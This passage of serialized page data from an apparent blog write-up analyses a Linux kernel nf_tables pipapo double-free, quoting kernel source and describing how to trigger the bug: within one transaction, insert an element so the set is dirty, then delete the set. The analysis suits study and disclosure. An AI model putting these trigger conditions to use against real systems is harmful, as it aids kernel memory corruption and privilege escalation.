",{"type":21,"tag":198,"props":51742,"children":51743},{"style":683},[51744],{"type":27,"value":5383},{"type":21,"tag":198,"props":51746,"children":51747},{"style":211},[51748],{"type":27,"value":51749},"e;\n",{"type":21,"tag":198,"props":51751,"children":51752},{"class":200,"line":450},[51753],{"type":21,"tag":198,"props":51754,"children":51755},{"emptyLinePlaceholder":16},[51756],{"type":27,"value":1283},{"type":21,"tag":198,"props":51758,"children":51759},{"class":200,"line":468},[51760,51764,51768,51772,51776,51780,51784,51788,51792,51796,51800,51804,51809,51814,51818,51822,51826,51831,51835,51839,51843,51847,51852,51856],{"type":21,"tag":198,"props":51761,"children":51762},{"style":640},[51763],{"type":27,"value":1036},{"type":21,"tag":198,"props":51765,"children":51766},{"style":211},[51767],{"type":27,"value":51685},{"type":21,"tag":198,"props":51769,"children":51770},{"style":683},[51771],{"type":27,"value":3159},{"type":21,"tag":198,"props":51773,"children":51774},{"style":226},[51775],{"type":27,"value":33750},{"type":21,"tag":198,"props":51777,"children":51778},{"style":211},[51779],{"type":27,"value":14564},{"type":21,"tag":198,"props":51781,"children":51782},{"style":226},[51783],{"type":27,"value":51715},{"type":21,"tag":198,"props":51785,"children":51786},{"style":683},[51787],{"type":27,"value":51631},{"type":21,"tag":198,"props":51789,"children":51790},{"style":2540},[51791],{"type":27,"value":5335},{"type":21,"tag":198,"props":51793,"children":51794},{"style":683},[51795],{"type":27,"value":1819},{"type":21,"tag":198,"props":51797,"children":51798},{"style":226},[51799],{"type":27,"value":33750},{"type":21,"tag":198,"props":51801,"children":51802},{"style":211},[51803],{"type":27,"value":14564},{"type":21,"tag":198,"props":51805,"children":51806},{"style":226},[51807],{"type":27,"value":51808},"mt",{"type":21,"tag":198,"props":51810,"children":51811},{"style":211},[51812],{"type":27,"value":51813},"[r ",{"type":21,"tag":198,"props":51815,"children":51816},{"style":683},[51817],{"type":27,"value":5193},{"type":21,"tag":198,"props":51819,"children":51820},{"style":2540},[51821],{"type":27,"value":5335},{"type":21,"tag":198,"props":51823,"children":51824},{"style":211},[51825],{"type":27,"value":3487},{"type":21,"tag":198,"props":51827,"children":51828},{"style":226},[51829],{"type":27,"value":51830},"e",{"type":21,"tag":198,"props":51832,"children":51833},{"style":683},[51834],{"type":27,"value":4089},{"type":21,"tag":198,"props":51836,"children":51837},{"style":226},[51838],{"type":27,"value":33750},{"type":21,"tag":198,"props":51840,"children":51841},{"style":211},[51842],{"type":27,"value":14564},{"type":21,"tag":198,"props":51844,"children":51845},{"style":226},[51846],{"type":27,"value":51808},{"type":21,"tag":198,"props":51848,"children":51849},{"style":211},[51850],{"type":27,"value":51851},"[r].",{"type":21,"tag":198,"props":51853,"children":51854},{"style":226},[51855],{"type":27,"value":51830},{"type":21,"tag":198,"props":51857,"children":51858},{"style":211},[51859],{"type":27,"value":789},{"type":21,"tag":198,"props":51861,"children":51862},{"class":200,"line":477},[51863,51868],{"type":21,"tag":198,"props":51864,"children":51865},{"style":640},[51866],{"type":27,"value":51867}," continue",{"type":21,"tag":198,"props":51869,"children":51870},{"style":211},[51871],{"type":27,"value":1483},{"type":21,"tag":198,"props":51873,"children":51874},{"class":200,"line":494},[51875],{"type":21,"tag":198,"props":51876,"children":51877},{"emptyLinePlaceholder":16},[51878],{"type":27,"value":1283},{"type":21,"tag":198,"props":51880,"children":51881},{"class":200,"line":515},[51882,51887,51891,51895,51899,51903,51907,51911],{"type":21,"tag":198,"props":51883,"children":51884},{"style":211},[51885],{"type":27,"value":51886}," e ",{"type":21,"tag":198,"props":51888,"children":51889},{"style":683},[51890],{"type":27,"value":3174},{"type":21,"tag":198,"props":51892,"children":51893},{"style":226},[51894],{"type":27,"value":33750},{"type":21,"tag":198,"props":51896,"children":51897},{"style":211},[51898],{"type":27,"value":14564},{"type":21,"tag":198,"props":51900,"children":51901},{"style":226},[51902],{"type":27,"value":51808},{"type":21,"tag":198,"props":51904,"children":51905},{"style":211},[51906],{"type":27,"value":51851},{"type":21,"tag":198,"props":51908,"children":51909},{"style":226},[51910],{"type":27,"value":51830},{"type":21,"tag":198,"props":51912,"children":51913},{"style":211},[51914],{"type":27,"value":1483},{"type":21,"tag":198,"props":51916,"children":51917},{"class":200,"line":4484},[51918],{"type":21,"tag":198,"props":51919,"children":51920},{"emptyLinePlaceholder":16},[51921],{"type":27,"value":1283},{"type":21,"tag":198,"props":51923,"children":51924},{"class":200,"line":4493},[51925,51930,51935,51939,51943,51947,51952],{"type":21,"tag":198,"props":51926,"children":51927},{"style":698},[51928],{"type":27,"value":51929}," nf_tables_set_elem_destroy",{"type":21,"tag":198,"props":51931,"children":51932},{"style":211},[51933],{"type":27,"value":51934},"(ctx, set, ",{"type":21,"tag":198,"props":51936,"children":51937},{"style":683},[51938],{"type":27,"value":3917},{"type":21,"tag":198,"props":51940,"children":51941},{"style":226},[51942],{"type":27,"value":51830},{"type":21,"tag":198,"props":51944,"children":51945},{"style":211},[51946],{"type":27,"value":14564},{"type":21,"tag":198,"props":51948,"children":51949},{"style":226},[51950],{"type":27,"value":51951},"priv",{"type":21,"tag":198,"props":51953,"children":51954},{"style":211},[51955],{"type":27,"value":1470},{"type":21,"tag":198,"props":51957,"children":51958},{"class":200,"line":4561},[51959],{"type":21,"tag":198,"props":51960,"children":51961},{"style":211},[51962],{"type":27,"value":1909},{"type":21,"tag":198,"props":51964,"children":51965},{"class":200,"line":4569},[51966],{"type":21,"tag":198,"props":51967,"children":51968},{"style":211},[51969],{"type":27,"value":1120},{"type":21,"tag":30,"props":51971,"children":51972},{},[51973,51975,51981,51983,51988],{"type":27,"value":51974},"Which will then ",{"type":21,"tag":194,"props":51976,"children":51978},{"className":51977},[],[51979],{"type":27,"value":51980},"kfree()",{"type":27,"value":51982}," the ",{"type":21,"tag":194,"props":51984,"children":51986},{"className":51985},[],[51987],{"type":27,"value":51387},{"type":27,"value":658},{"type":21,"tag":187,"props":51990,"children":51992},{"className":17318,"code":51991,"language":3954,"meta":7,"style":7},"void nf_tables_set_elem_destroy(const struct nft_ctx *ctx,\n const struct nft_set *set,\n const struct nft_elem_priv *elem_priv)\n{\n struct nft_set_ext *ext = nft_set_elem_ext(set, elem_priv);\n\n if (nft_set_ext_exists(ext, NFT_SET_EXT_EXPRESSIONS))\n nft_set_elem_expr_destroy(ctx, nft_set_ext_expr(ext));\n\n kfree(elem_priv);\n}\n",[51993],{"type":21,"tag":194,"props":51994,"children":51995},{"__ignoreMap":7},[51996,52037,52065,52094,52101,52136,52143,52164,52187,52194,52207],{"type":21,"tag":198,"props":51997,"children":51998},{"class":200,"line":201},[51999,52004,52009,52013,52017,52021,52025,52029,52033],{"type":21,"tag":198,"props":52000,"children":52001},{"style":249},[52002],{"type":27,"value":52003},"void",{"type":21,"tag":198,"props":52005,"children":52006},{"style":698},[52007],{"type":27,"value":52008}," nf_tables_set_elem_destroy",{"type":21,"tag":198,"props":52010,"children":52011},{"style":211},[52012],{"type":27,"value":706},{"type":21,"tag":198,"props":52014,"children":52015},{"style":249},[52016],{"type":27,"value":2648},{"type":21,"tag":198,"props":52018,"children":52019},{"style":249},[52020],{"type":27,"value":21944},{"type":21,"tag":198,"props":52022,"children":52023},{"style":211},[52024],{"type":27,"value":51447},{"type":21,"tag":198,"props":52026,"children":52027},{"style":683},[52028],{"type":27,"value":5383},{"type":21,"tag":198,"props":52030,"children":52031},{"style":226},[52032],{"type":27,"value":21075},{"type":21,"tag":198,"props":52034,"children":52035},{"style":211},[52036],{"type":27,"value":257},{"type":21,"tag":198,"props":52038,"children":52039},{"class":200,"line":217},[52040,52045,52049,52053,52057,52061],{"type":21,"tag":198,"props":52041,"children":52042},{"style":249},[52043],{"type":27,"value":52044}," const",{"type":21,"tag":198,"props":52046,"children":52047},{"style":249},[52048],{"type":27,"value":21944},{"type":21,"tag":198,"props":52050,"children":52051},{"style":211},[52052],{"type":27,"value":51475},{"type":21,"tag":198,"props":52054,"children":52055},{"style":683},[52056],{"type":27,"value":5383},{"type":21,"tag":198,"props":52058,"children":52059},{"style":226},[52060],{"type":27,"value":51395},{"type":21,"tag":198,"props":52062,"children":52063},{"style":211},[52064],{"type":27,"value":257},{"type":21,"tag":198,"props":52066,"children":52067},{"class":200,"line":236},[52068,52072,52076,52081,52085,52090],{"type":21,"tag":198,"props":52069,"children":52070},{"style":249},[52071],{"type":27,"value":52044},{"type":21,"tag":198,"props":52073,"children":52074},{"style":249},[52075],{"type":27,"value":21944},{"type":21,"tag":198,"props":52077,"children":52078},{"style":211},[52079],{"type":27,"value":52080}," nft_elem_priv ",{"type":21,"tag":198,"props":52082,"children":52083},{"style":683},[52084],{"type":27,"value":5383},{"type":21,"tag":198,"props":52086,"children":52087},{"style":226},[52088],{"type":27,"value":52089},"elem_priv",{"type":21,"tag":198,"props":52091,"children":52092},{"style":211},[52093],{"type":27,"value":789},{"type":21,"tag":198,"props":52095,"children":52096},{"class":200,"line":260},[52097],{"type":21,"tag":198,"props":52098,"children":52099},{"style":211},[52100],{"type":27,"value":11689},{"type":21,"tag":198,"props":52102,"children":52103},{"class":200,"line":281},[52104,52108,52113,52117,52122,52126,52131],{"type":21,"tag":198,"props":52105,"children":52106},{"style":249},[52107],{"type":27,"value":21944},{"type":21,"tag":198,"props":52109,"children":52110},{"style":211},[52111],{"type":27,"value":52112}," nft_set_ext ",{"type":21,"tag":198,"props":52114,"children":52115},{"style":683},[52116],{"type":27,"value":5383},{"type":21,"tag":198,"props":52118,"children":52119},{"style":211},[52120],{"type":27,"value":52121},"ext ",{"type":21,"tag":198,"props":52123,"children":52124},{"style":683},[52125],{"type":27,"value":3174},{"type":21,"tag":198,"props":52127,"children":52128},{"style":698},[52129],{"type":27,"value":52130}," nft_set_elem_ext",{"type":21,"tag":198,"props":52132,"children":52133},{"style":211},[52134],{"type":27,"value":52135},"(set, elem_priv);\n",{"type":21,"tag":198,"props":52137,"children":52138},{"class":200,"line":302},[52139],{"type":21,"tag":198,"props":52140,"children":52141},{"emptyLinePlaceholder":16},[52142],{"type":27,"value":1283},{"type":21,"tag":198,"props":52144,"children":52145},{"class":200,"line":323},[52146,52150,52154,52159],{"type":21,"tag":198,"props":52147,"children":52148},{"style":640},[52149],{"type":27,"value":16591},{"type":21,"tag":198,"props":52151,"children":52152},{"style":211},[52153],{"type":27,"value":648},{"type":21,"tag":198,"props":52155,"children":52156},{"style":698},[52157],{"type":27,"value":52158},"nft_set_ext_exists",{"type":21,"tag":198,"props":52160,"children":52161},{"style":211},[52162],{"type":27,"value":52163},"(ext, NFT_SET_EXT_EXPRESSIONS))\n",{"type":21,"tag":198,"props":52165,"children":52166},{"class":200,"line":344},[52167,52172,52177,52182],{"type":21,"tag":198,"props":52168,"children":52169},{"style":698},[52170],{"type":27,"value":52171}," nft_set_elem_expr_destroy",{"type":21,"tag":198,"props":52173,"children":52174},{"style":211},[52175],{"type":27,"value":52176},"(ctx, ",{"type":21,"tag":198,"props":52178,"children":52179},{"style":698},[52180],{"type":27,"value":52181},"nft_set_ext_expr",{"type":21,"tag":198,"props":52183,"children":52184},{"style":211},[52185],{"type":27,"value":52186},"(ext));\n",{"type":21,"tag":198,"props":52188,"children":52189},{"class":200,"line":365},[52190],{"type":21,"tag":198,"props":52191,"children":52192},{"emptyLinePlaceholder":16},[52193],{"type":27,"value":1283},{"type":21,"tag":198,"props":52195,"children":52196},{"class":200,"line":386},[52197,52202],{"type":21,"tag":198,"props":52198,"children":52199},{"style":698},[52200],{"type":27,"value":52201}," kfree",{"type":21,"tag":198,"props":52203,"children":52204},{"style":211},[52205],{"type":27,"value":52206},"(elem_priv);\n",{"type":21,"tag":198,"props":52208,"children":52209},{"class":200,"line":408},[52210],{"type":21,"tag":198,"props":52211,"children":52212},{"style":211},[52213],{"type":27,"value":1120},{"type":21,"tag":30,"props":52215,"children":52216},{},[52217,52218,52224,52226,52231,52233,52238,52240,52245,52246,52251,52253,52258,52260,52265,52267,52272],{"type":27,"value":534},{"type":21,"tag":194,"props":52219,"children":52221},{"className":52220},[],[52222],{"type":27,"value":52223},"nft_pipapo_match",{"type":27,"value":52225}," objects contain views of the ",{"type":21,"tag":194,"props":52227,"children":52229},{"className":52228},[],[52230],{"type":27,"value":51387},{"type":27,"value":52232},"'s of a ",{"type":21,"tag":194,"props":52234,"children":52236},{"className":52235},[],[52237],{"type":27,"value":51395},{"type":27,"value":52239},". The difference between the ",{"type":21,"tag":194,"props":52241,"children":52243},{"className":52242},[],[52244],{"type":27,"value":51372},{"type":27,"value":11801},{"type":21,"tag":194,"props":52247,"children":52249},{"className":52248},[],[52250],{"type":27,"value":51356},{"type":27,"value":52252}," match objects is that the clone has a view of not only already committed ",{"type":21,"tag":194,"props":52254,"children":52256},{"className":52255},[],[52257],{"type":27,"value":51387},{"type":27,"value":52259},"'s that the \"normal\" one has but also a view of the ",{"type":21,"tag":194,"props":52261,"children":52263},{"className":52262},[],[52264],{"type":27,"value":51387},{"type":27,"value":52266},"'s that was still not committed that only exists in the current control-plane. In other words, the control plane makes changes to the clone, and if the commit path is reached, the changes are committed to ",{"type":21,"tag":194,"props":52268,"children":52270},{"className":52269},[],[52271],{"type":27,"value":51372},{"type":27,"value":658},{"type":21,"tag":59,"props":52274,"children":52276},{"id":52275},"root-cause-analysis",[52277],{"type":27,"value":52278},"Root-cause analysis",{"type":21,"tag":30,"props":52280,"children":52281},{},[52282,52284,52290,52292,52297],{"type":27,"value":52283},"So ",{"type":21,"tag":194,"props":52285,"children":52287},{"className":52286},[],[52288],{"type":27,"value":52289},"nf_tables_set_elem_destroy",{"type":27,"value":52291}," being called for both match objects seems like a pretty straightforward double-free of the ",{"type":21,"tag":194,"props":52293,"children":52295},{"className":52294},[],[52296],{"type":27,"value":51387},{"type":27,"value":52298},"s that had already been committed since those will have duplicated views. At first glance, this is some bizarre-looking code. How did this bug come to be? How was it not detected before? Let's try to get to the bottom of it.",{"type":21,"tag":30,"props":52300,"children":52301},{},[52302,52304,52309,52311,52316,52318,52323,52325,52330,52332,52337],{"type":27,"value":52303},"We should now try to understand how to reach that path with the ",{"type":21,"tag":194,"props":52305,"children":52307},{"className":52306},[],[52308],{"type":27,"value":51349},{"type":27,"value":52310}," flag set, which is a member of the private data of a pipapo ",{"type":21,"tag":194,"props":52312,"children":52314},{"className":52313},[],[52315],{"type":27,"value":51387},{"type":27,"value":52317}," that becomes true whenever a change is made to the ",{"type":21,"tag":194,"props":52319,"children":52321},{"className":52320},[],[52322],{"type":27,"value":51395},{"type":27,"value":52324}," during the control-plane pass of a transaction. This is to tell the commit path that this ",{"type":21,"tag":194,"props":52326,"children":52328},{"className":52327},[],[52329],{"type":27,"value":51395},{"type":27,"value":52331}," has changes that have to be committed. If we refer to the code, we see that we can make the ",{"type":21,"tag":194,"props":52333,"children":52335},{"className":52334},[],[52336],{"type":27,"value":51395},{"type":27,"value":52338}," dirty by inserting a new element.",{"type":21,"tag":187,"props":52340,"children":52342},{"className":17318,"code":52341,"language":3954,"meta":7,"style":7},"static int nft_pipapo_insert(const struct net *net, const struct nft_set *set,\n const struct nft_set_elem *elem,\n struct nft_elem_priv **elem_priv)\n{\n[...]\n priv->dirty = true;\n[...]\n}\n",[52343],{"type":21,"tag":194,"props":52344,"children":52345},{"__ignoreMap":7},[52346,52416,52445,52470,52477,52484,52513,52520],{"type":21,"tag":198,"props":52347,"children":52348},{"class":200,"line":201},[52349,52353,52357,52362,52366,52370,52374,52379,52383,52388,52392,52396,52400,52404,52408,52412],{"type":21,"tag":198,"props":52350,"children":52351},{"style":249},[52352],{"type":27,"value":51420},{"type":21,"tag":198,"props":52354,"children":52355},{"style":249},[52356],{"type":27,"value":51549},{"type":21,"tag":198,"props":52358,"children":52359},{"style":698},[52360],{"type":27,"value":52361}," nft_pipapo_insert",{"type":21,"tag":198,"props":52363,"children":52364},{"style":211},[52365],{"type":27,"value":706},{"type":21,"tag":198,"props":52367,"children":52368},{"style":249},[52369],{"type":27,"value":2648},{"type":21,"tag":198,"props":52371,"children":52372},{"style":249},[52373],{"type":27,"value":21944},{"type":21,"tag":198,"props":52375,"children":52376},{"style":211},[52377],{"type":27,"value":52378}," net ",{"type":21,"tag":198,"props":52380,"children":52381},{"style":683},[52382],{"type":27,"value":5383},{"type":21,"tag":198,"props":52384,"children":52385},{"style":226},[52386],{"type":27,"value":52387},"net",{"type":21,"tag":198,"props":52389,"children":52390},{"style":211},[52391],{"type":27,"value":828},{"type":21,"tag":198,"props":52393,"children":52394},{"style":249},[52395],{"type":27,"value":2648},{"type":21,"tag":198,"props":52397,"children":52398},{"style":249},[52399],{"type":27,"value":21944},{"type":21,"tag":198,"props":52401,"children":52402},{"style":211},[52403],{"type":27,"value":51475},{"type":21,"tag":198,"props":52405,"children":52406},{"style":683},[52407],{"type":27,"value":5383},{"type":21,"tag":198,"props":52409,"children":52410},{"style":226},[52411],{"type":27,"value":51395},{"type":21,"tag":198,"props":52413,"children":52414},{"style":211},[52415],{"type":27,"value":257},{"type":21,"tag":198,"props":52417,"children":52418},{"class":200,"line":217},[52419,52423,52427,52432,52436,52441],{"type":21,"tag":198,"props":52420,"children":52421},{"style":249},[52422],{"type":27,"value":33680},{"type":21,"tag":198,"props":52424,"children":52425},{"style":249},[52426],{"type":27,"value":21944},{"type":21,"tag":198,"props":52428,"children":52429},{"style":211},[52430],{"type":27,"value":52431}," nft_set_elem ",{"type":21,"tag":198,"props":52433,"children":52434},{"style":683},[52435],{"type":27,"value":5383},{"type":21,"tag":198,"props":52437,"children":52438},{"style":226},[52439],{"type":27,"value":52440},"elem",{"type":21,"tag":198,"props":52442,"children":52443},{"style":211},[52444],{"type":27,"value":257},{"type":21,"tag":198,"props":52446,"children":52447},{"class":200,"line":236},[52448,52453,52457,52462,52466],{"type":21,"tag":198,"props":52449,"children":52450},{"style":249},[52451],{"type":27,"value":52452}," struct",{"type":21,"tag":198,"props":52454,"children":52455},{"style":211},[52456],{"type":27,"value":52080},{"type":21,"tag":198,"props":52458,"children":52459},{"style":683},[52460],{"type":27,"value":52461},"**",{"type":21,"tag":198,"props":52463,"children":52464},{"style":226},[52465],{"type":27,"value":52089},{"type":21,"tag":198,"props":52467,"children":52468},{"style":211},[52469],{"type":27,"value":789},{"type":21,"tag":198,"props":52471,"children":52472},{"class":200,"line":260},[52473],{"type":21,"tag":198,"props":52474,"children":52475},{"style":211},[52476],{"type":27,"value":11689},{"type":21,"tag":198,"props":52478,"children":52479},{"class":200,"line":281},[52480],{"type":21,"tag":198,"props":52481,"children":52482},{"style":211},[52483],{"type":27,"value":11127},{"type":21,"tag":198,"props":52485,"children":52486},{"class":200,"line":302},[52487,52492,52496,52501,52505,52509],{"type":21,"tag":198,"props":52488,"children":52489},{"style":226},[52490],{"type":27,"value":52491}," priv",{"type":21,"tag":198,"props":52493,"children":52494},{"style":211},[52495],{"type":27,"value":14564},{"type":21,"tag":198,"props":52497,"children":52498},{"style":226},[52499],{"type":27,"value":52500},"dirty",{"type":21,"tag":198,"props":52502,"children":52503},{"style":683},[52504],{"type":27,"value":979},{"type":21,"tag":198,"props":52506,"children":52507},{"style":249},[52508],{"type":27,"value":252},{"type":21,"tag":198,"props":52510,"children":52511},{"style":211},[52512],{"type":27,"value":1483},{"type":21,"tag":198,"props":52514,"children":52515},{"class":200,"line":323},[52516],{"type":21,"tag":198,"props":52517,"children":52518},{"style":211},[52519],{"type":27,"value":11127},{"type":21,"tag":198,"props":52521,"children":52522},{"class":200,"line":344},[52523],{"type":21,"tag":198,"props":52524,"children":52525},{"style":211},[52526],{"type":27,"value":1120},{"type":21,"tag":30,"props":52528,"children":52529},{},[52530],{"type":27,"value":52531},"We also see that when the changes are commited, this flag is then unset.",{"type":21,"tag":187,"props":52533,"children":52535},{"className":17318,"code":52534,"language":3954,"meta":7,"style":7},"static void nft_pipapo_commit(struct nft_set *set)\n{\n[...]\n if (!priv->dirty)\n return;\n[...]\n priv->dirty = false;\n[...]\n}\n",[52536],{"type":21,"tag":194,"props":52537,"children":52538},{"__ignoreMap":7},[52539,52579,52586,52593,52624,52635,52642,52669,52676],{"type":21,"tag":198,"props":52540,"children":52541},{"class":200,"line":201},[52542,52546,52550,52555,52559,52563,52567,52571,52575],{"type":21,"tag":198,"props":52543,"children":52544},{"style":249},[52545],{"type":27,"value":51420},{"type":21,"tag":198,"props":52547,"children":52548},{"style":249},[52549],{"type":27,"value":51425},{"type":21,"tag":198,"props":52551,"children":52552},{"style":698},[52553],{"type":27,"value":52554}," nft_pipapo_commit",{"type":21,"tag":198,"props":52556,"children":52557},{"style":211},[52558],{"type":27,"value":706},{"type":21,"tag":198,"props":52560,"children":52561},{"style":249},[52562],{"type":27,"value":10213},{"type":21,"tag":198,"props":52564,"children":52565},{"style":211},[52566],{"type":27,"value":51475},{"type":21,"tag":198,"props":52568,"children":52569},{"style":683},[52570],{"type":27,"value":5383},{"type":21,"tag":198,"props":52572,"children":52573},{"style":226},[52574],{"type":27,"value":51395},{"type":21,"tag":198,"props":52576,"children":52577},{"style":211},[52578],{"type":27,"value":789},{"type":21,"tag":198,"props":52580,"children":52581},{"class":200,"line":217},[52582],{"type":21,"tag":198,"props":52583,"children":52584},{"style":211},[52585],{"type":27,"value":11689},{"type":21,"tag":198,"props":52587,"children":52588},{"class":200,"line":236},[52589],{"type":21,"tag":198,"props":52590,"children":52591},{"style":211},[52592],{"type":27,"value":11127},{"type":21,"tag":198,"props":52594,"children":52595},{"class":200,"line":260},[52596,52600,52604,52608,52612,52616,52620],{"type":21,"tag":198,"props":52597,"children":52598},{"style":640},[52599],{"type":27,"value":16591},{"type":21,"tag":198,"props":52601,"children":52602},{"style":211},[52603],{"type":27,"value":648},{"type":21,"tag":198,"props":52605,"children":52606},{"style":683},[52607],{"type":27,"value":686},{"type":21,"tag":198,"props":52609,"children":52610},{"style":226},[52611],{"type":27,"value":51951},{"type":21,"tag":198,"props":52613,"children":52614},{"style":211},[52615],{"type":27,"value":14564},{"type":21,"tag":198,"props":52617,"children":52618},{"style":226},[52619],{"type":27,"value":52500},{"type":21,"tag":198,"props":52621,"children":52622},{"style":211},[52623],{"type":27,"value":789},{"type":21,"tag":198,"props":52625,"children":52626},{"class":200,"line":281},[52627,52631],{"type":21,"tag":198,"props":52628,"children":52629},{"style":640},[52630],{"type":27,"value":1886},{"type":21,"tag":198,"props":52632,"children":52633},{"style":211},[52634],{"type":27,"value":1483},{"type":21,"tag":198,"props":52636,"children":52637},{"class":200,"line":302},[52638],{"type":21,"tag":198,"props":52639,"children":52640},{"style":211},[52641],{"type":27,"value":11127},{"type":21,"tag":198,"props":52643,"children":52644},{"class":200,"line":323},[52645,52649,52653,52657,52661,52665],{"type":21,"tag":198,"props":52646,"children":52647},{"style":226},[52648],{"type":27,"value":52491},{"type":21,"tag":198,"props":52650,"children":52651},{"style":211},[52652],{"type":27,"value":14564},{"type":21,"tag":198,"props":52654,"children":52655},{"style":226},[52656],{"type":27,"value":52500},{"type":21,"tag":198,"props":52658,"children":52659},{"style":683},[52660],{"type":27,"value":979},{"type":21,"tag":198,"props":52662,"children":52663},{"style":249},[52664],{"type":27,"value":9868},{"type":21,"tag":198,"props":52666,"children":52667},{"style":211},[52668],{"type":27,"value":1483},{"type":21,"tag":198,"props":52670,"children":52671},{"class":200,"line":344},[52672],{"type":21,"tag":198,"props":52673,"children":52674},{"style":211},[52675],{"type":27,"value":11127},{"type":21,"tag":198,"props":52677,"children":52678},{"class":200,"line":365},[52679],{"type":21,"tag":198,"props":52680,"children":52681},{"style":211},[52682],{"type":27,"value":1120},{"type":21,"tag":30,"props":52684,"children":52685},{},[52686,52688,52693,52695,52700,52702,52707,52709,52714,52716,52722,52724,52730,52732,52737],{"type":27,"value":52687},"We can conclude that as long as we can, in the same transaction, insert a ",{"type":21,"tag":194,"props":52689,"children":52691},{"className":52690},[],[52692],{"type":27,"value":51387},{"type":27,"value":52694}," in the ",{"type":21,"tag":194,"props":52696,"children":52698},{"className":52697},[],[52699],{"type":27,"value":51395},{"type":27,"value":52701}," to make it dirty and then delete the ",{"type":21,"tag":194,"props":52703,"children":52705},{"className":52704},[],[52706],{"type":27,"value":51395},{"type":27,"value":52708},", we will be able to trigger the double-free. But there is another condition: in the commit path, if a ",{"type":21,"tag":194,"props":52710,"children":52712},{"className":52711},[],[52713],{"type":27,"value":51395},{"type":27,"value":52715},"'s ",{"type":21,"tag":194,"props":52717,"children":52719},{"className":52718},[],[52720],{"type":27,"value":52721},"->commit()",{"type":27,"value":52723}," method is executed before its ",{"type":21,"tag":194,"props":52725,"children":52727},{"className":52726},[],[52728],{"type":27,"value":52729},"->destroy()",{"type":27,"value":52731}," method, then the ",{"type":21,"tag":194,"props":52733,"children":52735},{"className":52734},[],[52736],{"type":27,"value":52500},{"type":27,"value":52738}," flag will be unset, and we won't be able to trigger the double-free.",{"type":21,"tag":30,"props":52740,"children":52741},{},[52742],{"type":27,"value":52743},"Let's once again refer to the code and see how these methods are called.",{"type":21,"tag":187,"props":52745,"children":52747},{"className":17318,"code":52746,"language":3954,"meta":7,"style":7},"static int nf_tables_commit(struct net *net, struct sk_buff *skb)\n{\n[...]\n case NFT_MSG_DELSET:\n case NFT_MSG_DESTROYSET: // [1]\n nft_trans_set(trans)->dead = 1; // [2]\n list_del_rcu(&nft_trans_set(trans)->list);\n nf_tables_set_notify(&trans->ctx, nft_trans_set(trans),\n trans->msg_type, GFP_KERNEL);\n break;\n case NFT_MSG_NEWSETELEM: // [3]\n[...]\n if (te->set->ops->commit &&\n list_empty(&te->set->pending_update)) {\n list_add_tail(&te->set->pending_update,\n &set_update_list);\n }\n[...]\n }\n\n nft_set_commit_update(&set_update_list);\n[...]\n nf_tables_commit_release(net);\n\n return 0;\n}\n",[52748],{"type":21,"tag":194,"props":52749,"children":52750},{"__ignoreMap":7},[52751,52813,52820,52827,52835,52848,52883,52917,52959,52981,52993,53006,53013,53061,53102,53142,53155,53162,53169,53176,53183,53208,53215,53228,53235,53251],{"type":21,"tag":198,"props":52752,"children":52753},{"class":200,"line":201},[52754,52758,52762,52767,52771,52775,52779,52783,52787,52791,52795,52800,52804,52809],{"type":21,"tag":198,"props":52755,"children":52756},{"style":249},[52757],{"type":27,"value":51420},{"type":21,"tag":198,"props":52759,"children":52760},{"style":249},[52761],{"type":27,"value":51549},{"type":21,"tag":198,"props":52763,"children":52764},{"style":698},[52765],{"type":27,"value":52766}," nf_tables_commit",{"type":21,"tag":198,"props":52768,"children":52769},{"style":211},[52770],{"type":27,"value":706},{"type":21,"tag":198,"props":52772,"children":52773},{"style":249},[52774],{"type":27,"value":10213},{"type":21,"tag":198,"props":52776,"children":52777},{"style":211},[52778],{"type":27,"value":52378},{"type":21,"tag":198,"props":52780,"children":52781},{"style":683},[52782],{"type":27,"value":5383},{"type":21,"tag":198,"props":52784,"children":52785},{"style":226},[52786],{"type":27,"value":52387},{"type":21,"tag":198,"props":52788,"children":52789},{"style":211},[52790],{"type":27,"value":828},{"type":21,"tag":198,"props":52792,"children":52793},{"style":249},[52794],{"type":27,"value":10213},{"type":21,"tag":198,"props":52796,"children":52797},{"style":211},[52798],{"type":27,"value":52799}," sk_buff ",{"type":21,"tag":198,"props":52801,"children":52802},{"style":683},[52803],{"type":27,"value":5383},{"type":21,"tag":198,"props":52805,"children":52806},{"style":226},[52807],{"type":27,"value":52808},"skb",{"type":21,"tag":198,"props":52810,"children":52811},{"style":211},[52812],{"type":27,"value":789},{"type":21,"tag":198,"props":52814,"children":52815},{"class":200,"line":217},[52816],{"type":21,"tag":198,"props":52817,"children":52818},{"style":211},[52819],{"type":27,"value":11689},{"type":21,"tag":198,"props":52821,"children":52822},{"class":200,"line":236},[52823],{"type":21,"tag":198,"props":52824,"children":52825},{"style":211},[52826],{"type":27,"value":11127},{"type":21,"tag":198,"props":52828,"children":52829},{"class":200,"line":260},[52830],{"type":21,"tag":198,"props":52831,"children":52832},{"style":211},[52833],{"type":27,"value":52834}," case NFT_MSG_DELSET:\n",{"type":21,"tag":198,"props":52836,"children":52837},{"class":200,"line":281},[52838,52843],{"type":21,"tag":198,"props":52839,"children":52840},{"style":211},[52841],{"type":27,"value":52842}," case NFT_MSG_DESTROYSET:",{"type":21,"tag":198,"props":52844,"children":52845},{"style":1233},[52846],{"type":27,"value":52847}," // [1]\n",{"type":21,"tag":198,"props":52849,"children":52850},{"class":200,"line":302},[52851,52856,52861,52866,52870,52874,52878],{"type":21,"tag":198,"props":52852,"children":52853},{"style":698},[52854],{"type":27,"value":52855}," nft_trans_set",{"type":21,"tag":198,"props":52857,"children":52858},{"style":211},[52859],{"type":27,"value":52860},"(trans)->",{"type":21,"tag":198,"props":52862,"children":52863},{"style":226},[52864],{"type":27,"value":52865},"dead",{"type":21,"tag":198,"props":52867,"children":52868},{"style":683},[52869],{"type":27,"value":979},{"type":21,"tag":198,"props":52871,"children":52872},{"style":2540},[52873],{"type":27,"value":5335},{"type":21,"tag":198,"props":52875,"children":52876},{"style":211},[52877],{"type":27,"value":2182},{"type":21,"tag":198,"props":52879,"children":52880},{"style":1233},[52881],{"type":27,"value":52882}," // [2]\n",{"type":21,"tag":198,"props":52884,"children":52885},{"class":200,"line":323},[52886,52891,52895,52899,52904,52908,52913],{"type":21,"tag":198,"props":52887,"children":52888},{"style":698},[52889],{"type":27,"value":52890}," 